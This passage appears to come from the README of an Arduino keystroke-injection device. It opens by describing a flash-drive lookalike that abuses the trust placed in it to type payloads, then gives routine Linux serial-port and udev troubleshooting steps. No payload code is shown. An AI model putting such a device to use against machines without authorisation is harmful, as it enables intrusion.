Using these devices we can inject keystrokes. A device which looks like an innocent flash drive to humans — abuses this trust to deliver powerful payloads, injecting keystrokes at superhuman speeds.

## Troubleshooting
#### Check Serial Port Permissions (Linux)
1. Open a terminal.
2. Check the permissions of the serial port:
```sh
ls -l /dev/ttyACM0
```
Ensure the output shows that the `dialout` group has read and write permissions:
```plaintext
crw-rw---- 1 root dialout 166, 0 Jun 15 12:00 /dev/ttyACM0
```
#### Udev Rules (Linux)
If you still encounter issues, you may need to add a udev rule to set the correct permissions automatically.
1. Create a new udev rules file:
```sh
sudo nano /etc/udev/rules.d/99-arduino.rules
```
2. Add the following line to the file:
```plaintext
SUBSYSTEM=="tty", ATTRS{idVendor}=="2341", ATTRS{idProduct}=="8036", MODE="0666", GROUP="dialout"
```
3. Save the file and exit the editor (in nano, press `CTRL + O` to save, then `CTRL + X` to exit).
4. Reload the udev rules:
```sh
sudo udevadm control --reload-rules
sudo udevadm trigger
```
#### Reboot the Computer
Sometimes a simple reboot can resolve issues with USB devices and permissions.
